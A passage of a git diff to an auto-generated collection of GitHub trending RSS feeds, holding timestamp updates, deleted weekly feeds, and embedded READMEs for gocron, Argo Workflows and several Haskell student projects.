<code>WithDistributedLocker</code> and either use an implemented <a href="https://raw.githubusercontent.com/go-co-op/gocron/main/#distributed-locker-implementations">backend</a> or implement your own and contribute it back in a PR!</li> </ul> </li> <li> <p>Q: I've removed my job from the scheduler, but how can I stop a long-running job that has already been triggered?</p> <ul> <li>A: We recommend using a means of canceling your job, e.g. a <code>context.WithCancel()</code>.</li> <li>A2: You can listen to the job context Done channel to know when the job has been canceled <pre><code class="language-golang">task := func(in string, job gocron.Job) { fmt.Printf("this job's last run: %s this job's next run: %s\n", job.LastRun(), job.NextRun()) fmt.Printf("in argument is %s\n", in) ticker := time.NewTicker(100 * time.Millisecond) defer ticker.Stop() for { select { case &lt;-job.Context().Done(): fmt.Printf("function has been canceled, performing cleanup and exiting gracefully\n") return case &lt;-ticker.C: fmt.Printf("performing a hard job that takes a long time that I want to kill whenever I want\n") } } } var err error s := gocron.NewScheduler(time.UTC) s.SingletonModeAll() j, err := s.Every(1).Hour().Tag("myJob").DoWithJobDetails(task, "foo") if err != nil { log.Fatalln("error scheduling job", err) } s.StartAsync() // Simulate some more work time.Sleep(time.Second) // I want to stop the job, together with the underlying goroutine fmt.Printf("now I want to kill the job\n") err = s.RemoveByTag("myJob") if err != nil { log.Fatalln("error removing job by tag", err) } // Wait a bit so that we can see that the job is exiting gracefully time.Sleep(time.Second) fmt.Printf("Job: %#v, Error: %#v", j, err) </code></pre> </li> </ul> </li> </ul> <hr> <p>Looking to contribute? Try to follow these guidelines:</p> <ul> <li>Use issues for everything</li> <li>For a small change, just send a PR!</li> <li>For bigger changes, please open an issue for discussion before sending a PR.</li> <li>PRs should have: tests, documentation and examples (if it makes sense)</li> <li>You can also contribute by: <ul> <li>Reporting issues</li> <li>Suggesting new features or enhancements</li> <li>Improving/fixing documentation</li> </ul> </li> </ul> <hr> <h2>Design</h2> <p><img src="https://user-images.githubusercontent.com/19351306/110375142-2ba88680-8017-11eb-80c3-554cc746b165.png" alt="design-diagram"></p> <p><a href="https://www.jetbrains.com/?from=gocron">Jetbrains</a> supports this project with GoLand licenses. We appreciate their support for free and open source software!</p> <h2>Star History</h2> <p><a href="https://star-history.com/#go-co-op/gocron&amp;Date"><img src="https://api.star-history.com/svg?repos=go-co-op/gocron&amp;type=Date" alt="Star History Chart"></a></p> - - - argoproj/argo-workflows - 2023-09-24T01:51:02Z - tag:github.com,2023-09-24:/argoproj/argo-workflows - - <p>Workflow Engine for Kubernetes</p><hr><p><a href="https://argoproj.github.io/community/join-slack"><img src="https://img.shields.io/badge/slack-argoproj-brightgreen.svg?logo=slack" alt="slack"></a> <a href="https://github.com/argoproj/argo-workflows/actions?query=event%3Apush+branch%3Amaster"><img src="https://github.com/argoproj/argo-workflows/workflows/CI/badge.svg?sanitize=true" alt="CI"></a> <a href="https://bestpractices.coreinfrastructure.org/projects/3830"><img src="https://bestpractices.coreinfrastructure.org/projects/3830/badge" alt="CII Best Practices"></a> <a href="https://artifacthub.io/packages/helm/argo/argo-workflows"><img src="https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/argo-workflows" alt="Artifact HUB"></a> <a href="https://twitter.com/argoproj"><img src="https://img.shields.io/twitter/follow/argoproj?style=social" alt="Twitter Follow"></a></p> <h2>What is Argo Workflows?</h2> <p>Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Argo Workflows is implemented as a Kubernetes CRD (Custom Resource Definition).</p> <ul> <li>Define workflows where each step in the workflow is a container.</li> <li>Model multi-step workflows as a sequence of tasks or capture the dependencies between tasks using a directed acyclic graph (DAG).</li> <li>Easily run compute intensive jobs for machine learning or data processing in a fraction of the time using Argo Workflows on Kubernetes.</li> </ul> <p>Argo is a <a href="https://cncf.io/">Cloud Native Computing Foundation (CNCF)</a> graduated project.</p> <h2>Use Cases</h2> <ul> <li><a href="https://argoproj.github.io/argo-workflows/use-cases/machine-learning/">Machine Learning pipelines</a></li> <li><a href="https://argoproj.github.io/argo-workflows/use-cases/data-processing/">Data and batch processing</a></li> <li><a href="https://argoproj.github.io/argo-workflows/use-cases/infrastructure-automation/">Infrastructure automation</a></li> <li><a href="https://argoproj.github.io/argo-workflows/use-cases/ci-cd/">CI/CD</a></li> <li><a href="https://argoproj.github.io/argo-workflows/use-cases/other/">Other use cases</a></li> </ul> <h2>Why Argo Workflows?</h2> <ul> <li>Argo Workflows is the most popular workflow execution engine for Kubernetes.</li> <li>Light-weight, scalable, and easier to use.</li> <li>Designed from the ground up for containers without the overhead and limitations of legacy VM and server-based environments.</li> <li>Cloud agnostic and can run on any Kubernetes cluster.</li> </ul> <p><a href="https://blog.argoproj.io/argo-workflows-events-2023-user-survey-results-82c53bc30543">Read what people said in our latest survey</a></p> <h2>Try Argo Workflows</h2> <p><a href="https://workflows.apps.argoproj.io/workflows/argo">Access the demo environment</a> (login using Github)</p> <p><img src="https://raw.githubusercontent.com/argoproj/argo-workflows/master/docs/assets/screenshot.png" alt="Screenshot"></p> <h2>Who uses Argo Workflows?</h2> <p><a href="https://raw.githubusercontent.com/argoproj/argo-workflows/master/USERS.md">About 200+ organizations are officially using Argo Workflows</a></p> <h2>Ecosystem</h2> <p>Just some of the projects that use or rely on Argo Workflows (complete list <a href="https://github.com/akuity/awesome-argo#ecosystem-projects">here</a>):</p> <ul> <li><a href="https://github.com/argoproj/argo-events">Argo Events</a></li> <li><a href="https://github.com/couler-proj/couler">Couler</a></li> <li><a href="https://github.com/argoproj-labs/hera-workflows">Hera</a></li> <li><a href="https://github.com/kubeflow/katib">Katib</a></li> <li><a href="https://kedro.readthedocs.io/en/stable/">Kedro</a></li> <li><a href="https://github.com/kubeflow/pipelines">Kubeflow Pipelines</a></li> <li><a href="https://metaflow.org">Netflix Metaflow</a></li> <li><a href="https://www.onepanel.ai/">Onepanel</a></li> <li><a href="https://github.com/orchest/orchest/">Orchest</a></li> <li><a href="https://github.com/rookout/piper">Piper</a></li> <li><a href="https://github.com/ploomber/ploomber">Ploomber</a></li> <li><a href="https://github.com/SeldonIO/seldon-core">Seldon</a></li> <li><a href="https://github.com/sql-machine-learning/sqlflow">SQLFlow</a></li> </ul> <h2>Client Libraries</h2> <p>Check out our <a href="https://raw.githubusercontent.com/argoproj/argo-workflows/master/docs/client-libraries.md">Java, Golang and Python clients</a>.</p> <h2>Quickstart</h2> <ul> <li><a href="https://raw.githubusercontent.com/argoproj/argo-workflows/master/docs/quick-start.md">Get started here</a></li> <li><a href="https://argoproj.github.io/argo-workflows/walk-through/">Walk-through examples</a></li> </ul> <h2>Documentation</h2> <p><a href="https://argoproj.github.io/argo-workflows/">View the docs</a></p> <h2>Features</h2> <p>An incomplete list of features Argo Workflows provide:</p> <ul> <li>UI to visualize and manage Workflows</li> <li>Artifact support (S3, Artifactory, Alibaba Cloud OSS, Azure Blob Storage, HTTP, Git, GCS, raw)</li> <li>Workflow templating to store commonly used Workflows in the cluster</li> <li>Archiving Workflows after executing for later access</li> <li>Scheduled workflows using cron</li> <li>Server interface with REST API (HTTP and GRPC)</li> <li>DAG or Steps based declaration of workflows</li> <li>Step level input &amp; outputs (artifacts/parameters)</li> <li>Loops</li> <li>Parameterization</li> <li>Conditionals</li> <li>Timeouts (step &amp; workflow level)</li> <li>Retry (step &amp; workflow level)</li> <li>Resubmit (memoized)</li> <li>Suspend &amp; Resume</li> <li>Cancellation</li> <li>K8s resource orchestration</li> <li>Exit Hooks (notifications, cleanup)</li> <li>Garbage collection of completed workflow</li> <li>Scheduling (affinity/tolerations/node selectors)</li> <li>Volumes (ephemeral/existing)</li> <li>Parallelism limits</li> <li>Daemoned steps</li> <li>DinD (docker-in-docker)</li> <li>Script steps</li> <li>Event emission</li> <li>Prometheus metrics</li> <li>Multiple executors</li> <li>Multiple pod and workflow garbage collection strategies</li> <li>Automatically calculated resource usage per step</li> <li>Java/Golang/Python SDKs</li> <li>Pod Disruption Budget support</li> <li>Single-sign on (OAuth2/OIDC)</li> <li>Webhook triggering</li> <li>CLI</li> <li>Out-of-the box and custom Prometheus metrics</li> <li>Windows container support</li> <li>Embedded widgets</li> <li>Multiplex log viewer</li> </ul> <h2>Community Meetings</h2> <p>We host monthly community meetings where we and the community showcase demos and discuss the current and future state of the project. Feel free to join us! For Community Meeting information, minutes and recordings please <a href="https://bit.ly/argo-wf-cmty-mtng">see here</a>.</p> <p>Participation in the Argo Workflows project is governed by the <a href="https://github.com/cncf/foundation/raw/master/code-of-conduct.md">CNCF Code of Conduct</a></p> <h2>Community Blogs and Presentations</h2> <ul> <li><a href="https://github.com/terrytangyuan/awesome-argo">Awesome-Argo: A Curated List of Awesome Projects and Resources Related to Argo</a></li> <li><a href="https://youtu.be/XNXJtxkUKeY">Automation of Everything - How To Combine Argo Events, Workflows &amp; Pipelines, CD, and Rollouts</a></li> <li><a href="https://youtu.be/UMaivwrAyTA">Argo Workflows and Pipelines - CI/CD, Machine Learning, and Other Kubernetes Workflows</a></li> <li><a href="https://medium.com/@marekermk/provisioning-argo-on-openshift-with-ansible-and-kustomize-340a1fda8b50">Argo Ansible role: Provisioning Argo Workflows on OpenShift</a></li> <li><a href="http://bit.ly/30YNIvT">Argo Workflows vs Apache Airflow</a></li> <li><a href="https://medium.com/@bouwe.ceunen/ci-cd-with-argo-on-kubernetes-28c1a99616a9">CI/CD with Argo on Kubernetes</a></li> <li><a href="https://haque-zubair.medium.com/define-your-ci-cd-pipeline-with-argo-workflows-25aefb02fa63">Define Your CI/CD Pipeline with Argo Workflows</a></li> <li><a href="https://admiralty.io/blog/running-argo-workflows-across-multiple-kubernetes-clusters/">Running Argo Workflows Across Multiple Kubernetes Clusters</a></li> <li><a href="https://www.anaconda.com/blog/developer-blog/open-source-model-management-roundup-polyaxon-argo-and-seldon/">Open Source Model Management Roundup: Polyaxon, Argo, and Seldon</a></li> <li><a href="https://www.interline.io/blog/scaling-openstreetmap-data-workflows/">Producing 200 OpenStreetMap extracts in 35 minutes using a scalable data workflow</a></li> <li><a href="http://dev.matt.hillsdon.net/2018/03/24/argo-integration-review.html">Argo integration review</a></li> <li>TGI Kubernetes with Joe Beda: <a href="https://www.youtube.com/watch?v=M_rxPPLG8pU&amp;start=859">Argo workflow system</a></li> </ul> <h2>Project Resources</h2> <ul> <li><a href="https://github.com/argoproj">Argo Project GitHub organization</a></li> <li><a href="https://argoproj.github.io/">Argo Website</a></li> <li><a href="https://argoproj.github.io/community/join-slack">Argo Slack</a></li> </ul> <h2>Security</h2> <p>See <a href="https://raw.githubusercontent.com/argoproj/argo-workflows/master/SECURITY.md">SECURITY.md</a>.</p> - - \ No newline at end of file diff --git a/golo/daily/index.xml b/golo/daily/index.xml index 38a54373103..c6e118a5493 100644 --- a/golo/daily/index.xml +++ b/golo/daily/index.xml @@ -1,7 +1,7 @@ GitHub Golo Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:43Z + 2023-09-25T01:30:40Z Daily Trending of Golo in GitHub \ No newline at end of file diff --git a/golo/weekly/index.xml b/golo/weekly/index.xml deleted file mode 100644 index 1a6b0258a21..00000000000 --- a/golo/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Golo Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:26Z - Weekly Trending of Golo in GitHub - - \ No newline at end of file diff --git a/gosu/daily/index.xml b/gosu/daily/index.xml index 2e53db2a32a..fe5b91240ad 100644 --- a/gosu/daily/index.xml +++ b/gosu/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gosu Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:42Z + 2023-09-25T01:30:42Z Daily Trending of Gosu in GitHub \ No newline at end of file diff --git a/gosu/weekly/index.xml b/gosu/weekly/index.xml deleted file mode 100644 index 80e37cb73f7..00000000000 --- a/gosu/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gosu Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:29Z - Weekly Trending of Gosu in GitHub - - \ No newline at end of file diff --git a/grace/daily/index.xml b/grace/daily/index.xml index dbb21ec571b..9f628a8b8e1 100644 --- a/grace/daily/index.xml +++ b/grace/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:47Z + 2023-09-25T01:30:45Z Daily Trending of Grace in GitHub \ No newline at end of file diff --git a/grace/weekly/index.xml b/grace/weekly/index.xml deleted file mode 100644 index ccd8c83a9a4..00000000000 --- a/grace/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Grace Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:32Z - Weekly Trending of Grace in GitHub - - \ No newline at end of file diff --git a/gradle/daily/index.xml b/gradle/daily/index.xml index 5d74f1c5041..5661e864004 100644 --- a/gradle/daily/index.xml +++ b/gradle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Gradle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:46Z + 2023-09-25T01:30:46Z Daily Trending of Gradle in GitHub \ No newline at end of file diff --git a/gradle/weekly/index.xml b/gradle/weekly/index.xml deleted file mode 100644 index c567fee973d..00000000000 --- a/gradle/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Gradle Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:31Z - Weekly Trending of Gradle in GitHub - - \ No newline at end of file diff --git a/grammatical-framework/daily/index.xml b/grammatical-framework/daily/index.xml index e0033d91ab0..79cad6c1fc1 100644 --- a/grammatical-framework/daily/index.xml +++ b/grammatical-framework/daily/index.xml @@ -1,7 +1,7 @@ GitHub Grammatical Framework Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:45Z + 2023-09-25T01:30:43Z Daily Trending of Grammatical Framework in GitHub \ No newline at end of file diff --git a/grammatical-framework/weekly/index.xml b/grammatical-framework/weekly/index.xml deleted file mode 100644 index db22b0665fb..00000000000 --- a/grammatical-framework/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Grammatical Framework Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:30Z - Weekly Trending of Grammatical Framework in GitHub - - \ No newline at end of file diff --git a/graph-modeling-language/daily/index.xml b/graph-modeling-language/daily/index.xml index 2b0acc8c259..9548e80fe43 100644 --- a/graph-modeling-language/daily/index.xml +++ b/graph-modeling-language/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graph Modeling Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:50Z + 2023-09-25T01:30:47Z Daily Trending of Graph Modeling Language in GitHub \ No newline at end of file diff --git a/graph-modeling-language/weekly/index.xml b/graph-modeling-language/weekly/index.xml deleted file mode 100644 index 59822892f93..00000000000 --- a/graph-modeling-language/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Graph Modeling Language Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:35Z - Weekly Trending of Graph Modeling Language in GitHub - - \ No newline at end of file diff --git a/graphql/daily/index.xml b/graphql/daily/index.xml index c97aaa59924..8691ae8b924 100644 --- a/graphql/daily/index.xml +++ b/graphql/daily/index.xml @@ -1,7 +1,7 @@ GitHub GraphQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:49Z + 2023-09-25T01:30:48Z Daily Trending of GraphQL in GitHub \ No newline at end of file diff --git a/graphql/weekly/index.xml b/graphql/weekly/index.xml deleted file mode 100644 index c20ed405683..00000000000 --- a/graphql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GraphQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:36Z - Weekly Trending of GraphQL in GitHub - - \ No newline at end of file diff --git a/graphviz-(dot)/daily/index.xml b/graphviz-(dot)/daily/index.xml index 764e3cfb915..551d7b6f064 100644 --- a/graphviz-(dot)/daily/index.xml +++ b/graphviz-(dot)/daily/index.xml @@ -1,7 +1,7 @@ GitHub Graphviz (DOT) Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:48Z + 2023-09-25T01:30:49Z Daily Trending of Graphviz (DOT) in GitHub \ No newline at end of file diff --git a/graphviz-(dot)/weekly/index.xml b/graphviz-(dot)/weekly/index.xml deleted file mode 100644 index a0d307fc87b..00000000000 --- a/graphviz-(dot)/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Graphviz (DOT) Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:34Z - Weekly Trending of Graphviz (DOT) in GitHub - - \ No newline at end of file diff --git a/groovy-server-pages/daily/index.xml b/groovy-server-pages/daily/index.xml index 80ff9a22f34..a89fef075d8 100644 --- a/groovy-server-pages/daily/index.xml +++ b/groovy-server-pages/daily/index.xml @@ -1,7 +1,7 @@ GitHub Groovy Server Pages Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:54Z + 2023-09-25T01:30:52Z Daily Trending of Groovy Server Pages in GitHub \ No newline at end of file diff --git a/groovy-server-pages/weekly/index.xml b/groovy-server-pages/weekly/index.xml deleted file mode 100644 index 00fc5959c25..00000000000 --- a/groovy-server-pages/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Groovy Server Pages Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:40Z - Weekly Trending of Groovy Server Pages in GitHub - - \ No newline at end of file diff --git a/groovy/daily/index.xml b/groovy/daily/index.xml index 1ef1af7b1a9..9102afd3264 100644 --- a/groovy/daily/index.xml +++ b/groovy/daily/index.xml @@ -1,14 +1,7 @@ GitHub Groovy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:52Z + 2023-09-25T01:30:50Z Daily Trending of Groovy in GitHub - - jcerdeira/cyclicprocessor - 2023-09-24T01:31:52Z - tag:github.com,2023-09-24:/jcerdeira/cyclicprocessor - - <p></p><hr> - \ No newline at end of file diff --git a/groovy/weekly/index.xml b/groovy/weekly/index.xml deleted file mode 100644 index 5d3ed085007..00000000000 --- a/groovy/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub Groovy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:38Z - Weekly Trending of Groovy in GitHub - - - kurron/gradle-wrapper-experiment - 2023-09-24T01:51:38Z - tag:github.com,2023-09-24:/kurron/gradle-wrapper-experiment - - <p>An attempt to create a custom Gradle distribution</p><hr> - - - witkai/hello - 2023-09-24T01:51:38Z - tag:github.com,2023-09-24:/witkai/hello - - <p></p><hr> - - \ No newline at end of file diff --git a/gsc/daily/index.xml b/gsc/daily/index.xml index 0ad0ea7b996..7d914c64606 100644 --- a/gsc/daily/index.xml +++ b/gsc/daily/index.xml @@ -1,7 +1,7 @@ GitHub GSC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:54Z + 2023-09-25T01:30:53Z Daily Trending of GSC in GitHub \ No newline at end of file diff --git a/gsc/weekly/index.xml b/gsc/weekly/index.xml deleted file mode 100644 index 38c1f35eba0..00000000000 --- a/gsc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub GSC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:40Z - Weekly Trending of GSC in GitHub - - \ No newline at end of file diff --git a/hack/daily/index.xml b/hack/daily/index.xml index f2448434be9..513c974594a 100644 --- a/hack/daily/index.xml +++ b/hack/daily/index.xml @@ -1,7 +1,7 @@ GitHub Hack Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:55Z + 2023-09-25T01:30:54Z Daily Trending of Hack in GitHub \ No newline at end of file diff --git a/hack/weekly/index.xml b/hack/weekly/index.xml deleted file mode 100644 index 2eeadecc341..00000000000 --- a/hack/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Hack Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:41Z - Weekly Trending of Hack in GitHub - - \ No newline at end of file diff --git a/haml/daily/index.xml b/haml/daily/index.xml index 9057a3fe684..023f660b4d8 100644 --- a/haml/daily/index.xml +++ b/haml/daily/index.xml @@ -1,7 +1,7 @@ GitHub Haml Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:56Z + 2023-09-25T01:30:51Z Daily Trending of Haml in GitHub \ No newline at end of file diff --git a/haml/weekly/index.xml b/haml/weekly/index.xml deleted file mode 100644 index a018e4cf1db..00000000000 --- a/haml/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Haml Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:42Z - Weekly Trending of Haml in GitHub - - \ No newline at end of file diff --git a/handlebars/daily/index.xml b/handlebars/daily/index.xml index 9b8db2fd2d8..958050f051a 100644 --- a/handlebars/daily/index.xml +++ b/handlebars/daily/index.xml @@ -1,7 +1,7 @@ GitHub Handlebars Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:59Z + 2023-09-25T01:30:57Z Daily Trending of Handlebars in GitHub \ No newline at end of file diff --git a/handlebars/weekly/index.xml b/handlebars/weekly/index.xml deleted file mode 100644 index d69205347b7..00000000000 --- a/handlebars/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Handlebars Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:46Z - Weekly Trending of Handlebars in GitHub - - - Esri/cedar - 2023-09-24T01:51:46Z - tag:github.com,2023-09-24:/Esri/cedar - - <p>JavaScript Charts for ArcGIS</p><hr> - - \ No newline at end of file diff --git a/haproxy/daily/index.xml b/haproxy/daily/index.xml index 616fa213569..574f3117db1 100644 --- a/haproxy/daily/index.xml +++ b/haproxy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HAProxy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:57Z + 2023-09-25T01:30:55Z Daily Trending of HAProxy in GitHub \ No newline at end of file diff --git a/haproxy/weekly/index.xml b/haproxy/weekly/index.xml deleted file mode 100644 index 6012ce9cebd..00000000000 --- a/haproxy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HAProxy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:44Z - Weekly Trending of HAProxy in GitHub - - \ No newline at end of file diff --git a/harbour/daily/index.xml b/harbour/daily/index.xml index 7c144e99e91..2b714643dfc 100644 --- a/harbour/daily/index.xml +++ b/harbour/daily/index.xml @@ -1,7 +1,7 @@ GitHub Harbour Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:31:58Z + 2023-09-25T01:30:56Z Daily Trending of Harbour in GitHub \ No newline at end of file diff --git a/harbour/weekly/index.xml b/harbour/weekly/index.xml deleted file mode 100644 index b20dfeb79e3..00000000000 --- a/harbour/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Harbour Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:51:43Z - Weekly Trending of Harbour in GitHub - - \ No newline at end of file diff --git a/haskell/daily/index.xml b/haskell/daily/index.xml index 6802e5d54bb..6a2e19af8a6 100644 --- a/haskell/daily/index.xml +++ b/haskell/daily/index.xml @@ -1,28 +1,7 @@ GitHub Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:32:02Z + 2023-09-25T01:31:00Z Daily Trending of Haskell in GitHub - - kevwil/gityup-haskell - 2023-09-24T01:32:02Z - tag:github.com,2023-09-24:/kevwil/gityup-haskell - - <p>just like svnup-haskell but for git ;-)</p><hr><h1>gityup-haskell</h1> <p>just like svnup-haskell but for git ;-)</p> - - - maxscheiber/LC4-haskell - 2023-09-24T01:32:02Z - tag:github.com,2023-09-24:/maxscheiber/LC4-haskell - - <p>Purely functional interpreter for the educational LC-4 ISA.</p><hr><h1>LC4-haskell</h1> <p>Purely functional interpreter for the educational LC-4 ISA, written by Max Scheiber (scheiber), and Ashutosh Goel (asgoel). The LC-4 ISA is a custom instruction set architecture created at the University of Pennslyvania, based off of the popular LC-3 ISA. The LC-4 ISA is commonly used for educational purposes, in classes such as CIS 240 (Intro. to Computer Architecture) at the University of Pennsylvania.</p> <h1>Main</h1> <p>To compile, run ghc --make Main.hs. This will compile Main.hs and all of its dependencies automatically. To run, type ./Main. This will open up a repl in which you can input the assembly filename, and the program will assemble and process the code, and print out the final Machine state when done. Note that this repl is very basic and reads each file one at a time. One idea for future work is to allow for multiple file execution (i.e. if one file needs another file as well).</p> <h1>Parser</h1> <p>The Parser library is a generic monadic Parser, built off of Dr. Stephanie Weirich's version for CIS 552 at the University of Pennslyvania.</p> <h1>LC4</h1> <p>The LC4 library is a collection of files which defines the typesystem used in the LC4 simulator, as well as a custom Parser for assembly files built off of the Parser library mentioned above. The LC4 contains all the code neccessary for interpreting instructions, including preprocessing and executing an assembly file. The key component, the machine state, is built off of the State monad and is kept and updated throughout execution. The LC4 library also contains basic error checking, based off of common errors seen in LC4 assembly code.</p> - - - UnBParadigmas2023-2/2023.2_G3_Funcional - 2023-09-24T01:32:02Z - tag:github.com,2023-09-24:/UnBParadigmas2023-2/2023.2_G3_Funcional - - <p></p><hr><h1>RPG de Texto</h1> <p><strong>Disciplina</strong>: FGA0210 - PARADIGMAS DE PROGRAMAÇÃO - T01 <br> <strong>Nro do Grupo</strong>: 03<br> <strong>Paradigma</strong>: Funcional<br></p> <h2>Alunos</h2> <table> <thead> <tr> <th>Matrícula</th> <th>Aluno</th> </tr> </thead> <tbody> <tr> <td>19/0010606</td> <td>Artur de Sousa Vieira</td> </tr> <tr> <td>19/0024950</td> <td>Arthur de Melo Garcia</td> </tr> <tr> <td>19/0011424</td> <td>Carlos Eduardo Miranda Roriz</td> </tr> <tr> <td>17/0032591</td> <td>Edvan Barreira Gomes Júnior</td> </tr> <tr> <td>19/0109963</td> <td>João Victor Teixeira Batista</td> </tr> <tr> <td>19/0112123</td> <td>Lucas Gabriel Sousa Camargo Paiva</td> </tr> <tr> <td>20/0023411</td> <td>Luíza Esteves dos Santos</td> </tr> <tr> <td>16/0141842</td> <td>Philipe Rosa Serafim</td> </tr> </tbody> </table> <h2>Sobre</h2> <p>O projeto consiste em um jogo de RPG dinâmico em Haskell que traz uma história cômica ao usuário de matrícula no sistema da UnB, onde quem está jogando pode escolher o caminho a ser tomado, e cada um leva a fins diferentes.</p> <p>O projeto usa de estrutura de grafos e parser para leitura de um arquivo txt para criação dos nós, os quais são navegados de acordo com a opção escolhida pelo usuário.</p> <p>Abaixo consta a estrutura da história usada para criação do arquivo txt.</p> <p><img src="https://github.com/UnBParadigmas2023-2/2023.2_G3_Funcional/assets/66687841/603fc808-ea65-4f90-a2d9-4508197ee125" alt="image"></p> <h2>Screenshots</h2> <p>Adicione 2 ou mais screenshots do projeto em termos de interface e/ou funcionamento.</p> <h2>Instalação</h2> <p><strong>Linguagens</strong>: <a href="https://www.haskell.org/downloads/">Haskell</a><br> <strong>Tecnologias</strong>: <a href="https://docs.haskellstack.org/en/stable/">Stack</a> e <a href="https://www.haskell.org/cabal/">Cabal</a></p> <h2>Como executar o projeto</h2> <p>Após instalar todas as dependências e clonar o projeto, é necessário acessar a pasta <code>RPG-TEXTO</code> e executar o comando <code>stack build</code> para compilar o projeto. Para iniciar o programa, basta executar <code>stack run</code> ou <code>stack exec RPG-texto-exe</code>. Caso queira excluir os binários compilados, basta executar <code>stack clean</code>.</p> <h2>Vídeo</h2> <p>Adicione 1 ou mais vídeos com a execução do projeto. Procure: (i) Introduzir o projeto; (ii) Mostrar passo a passo o código, explicando-o, e deixando claro o que é de terceiros, e o que é contribuição real da equipe; (iii) Apresentar particularidades do Paradigma, da Linguagem, e das Tecnologias, e (iV) Apresentar lições aprendidas, contribuições, pendências, e ideias para trabalhos futuros. OBS: TODOS DEVEM PARTICIPAR, CONFERINDO PONTOS DE VISTA. TEMPO: +/- 15min</p> <h2>Participações</h2> <p>Apresente, brevemente, como cada membro do grupo contribuiu para o projeto.</p> <table> <thead> <tr> <th>Nome do Membro</th> <th>Contribuição</th> <th>Significância da Contribuição para o Projeto (Excelente/Boa/Regular/Ruim/Nula)</th> </tr> </thead> <tbody> <tr> <td>Artur de Sousa Vieira</td> <td>Contribuição com a ideia inicial, criação da história, Concepção do parser e documentação</td> <td>Boa</td> </tr> <tr> <td>Arthur de Melo Garcia</td> <td>Contribuiu com a Documentação do projeto</td> <td>Boa</td> </tr> <tr> <td>Carlos Eduardo Miranda Roriz</td> <td>Contribuiu com a implementação toy da estrutura</td> <td>Excelente</td> </tr> <tr> <td>Edvan Barreira Gomes Júnior</td> <td>Contribuiu com a integração do parser ao projeto e documentação do projeto</td> <td>Boa</td> </tr> <tr> <td>João Victor Teixeira Batista</td> <td>Contribuiu com a implementação do parser/filereader e estudo do defeito encontrado</td> <td>Excelente</td> </tr> <tr> <td>Lucas Gabriel Sousa Camargo Paiva</td> <td>Contribuiu com a criação da história, auxiliou na implementação do grafo, correção do defeito encontrado e documentação do projeto</td> <td>Boa</td> </tr> <tr> <td>Luíza Esteves dos Santos</td> <td>Contribuiu com a criação da história, implementação do grafo, estudo do defeito encontrado e documentação do projeto</td> <td>Excelente</td> </tr> <tr> <td>Philipe Rosa Serafim</td> <td>Contribuiu com a estrutura do projeto, modularização, correção do defeito encontrado e 